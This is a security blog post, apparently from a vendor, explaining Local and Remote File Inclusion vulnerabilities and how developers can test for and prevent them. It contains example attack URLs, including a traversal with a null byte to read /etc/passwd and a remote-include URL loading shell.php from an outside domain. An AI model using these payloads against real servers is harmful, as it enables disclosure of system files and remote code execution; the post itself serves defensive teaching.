Skip to content

File Inclusion Vulnerabilities (LFI and RFI)

There are two types of File Inclusion Vulnerabilities: Local File Inclusion (LFI) and Remote File Inclusion (RFI).

These inclusion vulnerabilities are very similar to Directory Traversal attack. I will explain more regarding the differences in the section below.

To perform this attack, the attacker needs to target an application with file saving logic and logic for retrieving files in UI. The logic for saving the file is crucial because that can be a way to access the target server files and then include it in the script from your machine. In theory, the logic for retrieving the file in UI is not crucial to perform this attack. Still, it is very important because the attacker can intercept the request, investigate, and check which information can be helpful for him to perform the attack. 

We will manipulate the parameter in URL, as we did before in one of the articles when explaining the Directory Traversal attack. 

LFI loads local files such as “etc/passwd,” but then, on the flip side, RFI can load from an external source outside the server.

*Why will you always find examples of these attacks using this plain text file “passwd”?

This file is handy cause it contains information such as the list of registered users (id, group id, home directory, etc.) And it can be accessed because it has read permission with the ability to map user ids to users’ names.

Difference between Directory Traversal and File Inclusion Vulnerabilities

In the Directory Traversal article, I gave simple examples of this attack and some prevention tricks you can use with JS, Angular, or C# libraries.

File Inclusion and Directory Traversal look very similar, but they have one huge difference: the possibility of executing files within the attack.

File inclusion vulnerabilities allow you to load and execute a file in the application. On the other hand, performing a directory traversal attack file is just reading the files.

I will give an example after in the text, but here I am just going to explain one case scenario so you can better understand:

In the application, we can browse to the file and save it. After investigating the GET request when returning the file, we see that the URL will be changed because it would contain the name of the file in it. That means we can manipulate the name and save it as a file path to a specific target file in our machine. That file can be .txt, PowerShell (.ps1), etc. The file will probably contain a script with malicious code, which will then be executed on the target server. That is an example of a Remote File Inclusion attack!

How to test if your application has File Inclusion Vulnerabilities?

It is essential to test the code while developing. In this case, the developer needs to test it by himself, not just using some of the tools I mentioned in the Directory Traversal article. Also, I think it is important to see if the attacker can access folders and files. Also, even if folders are restricted using permissions, the developer should test out if it can be easily bypassed.

Summary:

First step: While preventing this attack, you should know if your application gives you the possibility to access files (if it has file inclusion vulnerabilities)

Second step: Check if the attacker can access the file even with folder/file permissions.

Examples of Local File Inclusion

For example, we have an application that uses this input field to enter the file’s name, and by clicking on the Include button, the file will be uploaded.

When you successfully upload the file, and you preview it, the URL will change to this:

http://test.com/testController?file=test.php

The attacker starts by exploring how the code is written to understand the used logic and find information where the file is saved. 

We can start with “making a mistake” when trying to import a file because some warning or error would occur. When a warning or error occurs, that is often done by the response of an HTTP request. Each HTTP request is visible in Development Tools, and you can see the header, body, URL which hits, etc. The body is used when you send a payload; for example, this file we are trying to upload.

Then easily, you can check out the structure of the payload or what the API is expecting, so if you want to replace the structure with a malicious one, you will know how it will pass. 

*Note: You probably know that the structure of the object you are sending to API from UI needs to be the same as the object that API expects. If not, the mapping would not be successful, and you will not hit even the controller in API.

So, you first want to mistake and analyze what is returned error/warning message. 

As you can guess, we need to focus on error/warning messages.

We should try to catch all the exceptions and make them custom with some user-friendly message. With that implemented, you should avoid sending some information that would uncover sensitive information with the API. For example, which method is used, what is expected, file path, etc.

In one of the examples I found on the internet, I saw that even this message can be retrieved:

What information this warning message uncovers?

First, this is a PHP application that uses using include method. As stated on site W3Schools“The include (or require) statement takes all the text/code/markup that exists in the specified file and copies it into the file that uses the include statement.”

This method tries copying some file with the name hi and giving it the extension “php.” File location is also visible: “/var/www/html”.

So, as you see, this warning uncovers so much information: 

  • used method, so we know the logic of the application

  • we need to bypass adding the extension 

  • file path, so we know how many “../” we will use or how we will “walk” through the folders. You probably already guess that in this stage, we can use the Directory Traversal technique “../”.

What would the attacker use if we would like to manipulate and check out registered users in etc/passwd

http://test.com/testController?file=../../../../etc/passwd%00

%00 – null byte would be used for ignoring all characters after null byte, including extension.

If this passed successfully and passwd doesn’t have restricted permissions, the content would be readable, but if permissions are there, that is our next focus.

It is great that we didn’t forget to add permissions to files containing sensitive data, but it is very important to try to avoid permissions and see how safely we implemented them.

To test that, we could create test requests with Burp Suite or maybe use CURL, or Postman.

We should pay attention to testing credentials or cookies because sensitive data can be manipulated there.

In one of the following articles, I will cover best practices for implementing good credential and session management to avoid a problem with broken authentication. 

Examples of Remote File Inclusion

For this type of attack, we will save the file name that would be the file path to some malicious script on the attacker server.

This would be an example of a URL that targets malicious script on some domain.com site:

http://test.com/testController?file=http://domain.com/shell.php

So, this will save the path, and when the path is called, it will execute shell.php – a malicious script in which some code targets the system to extract some data. 

*Focus on validating inputs in UI, so the malicious input parameters don’t even get to the API!

Important reminder for using trusted third-party libraries for validation

If you check out the logic in libraries, you can see how to expand it to cover some specific cases for your application.

Modification can be done by creating a wrapper over the libraries class or even making some script with an extended logic.

Also, always check and upgrade the version of third-party libraries!

Conclusion

Prevention is very important to avoid these vulnerabilities, but testing is equally important.

If you are a software developer, you know that to be a good developer, you must also have developed testing skills as much as coding skills.

You should use all available tools to screen these types of vulnerabilities but remember that you should trust your knowledge the most!

Don’t forget to give the code to testers because the person writing the code can often overlook some cases. Mostly because while coding and trying to write secure code, they might assume that the attacker will attack in a certain way.

If you are a developer, the best practice is to always be familiar with new attack techniques.

In the end, secure code is the cheapest code!

#LFI #RFI #vicarius_blog

Cover photo by Kevin Ku

About Version 2 Limited
Version 2 Limited is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 Limited offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About Topia
TOPIA is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.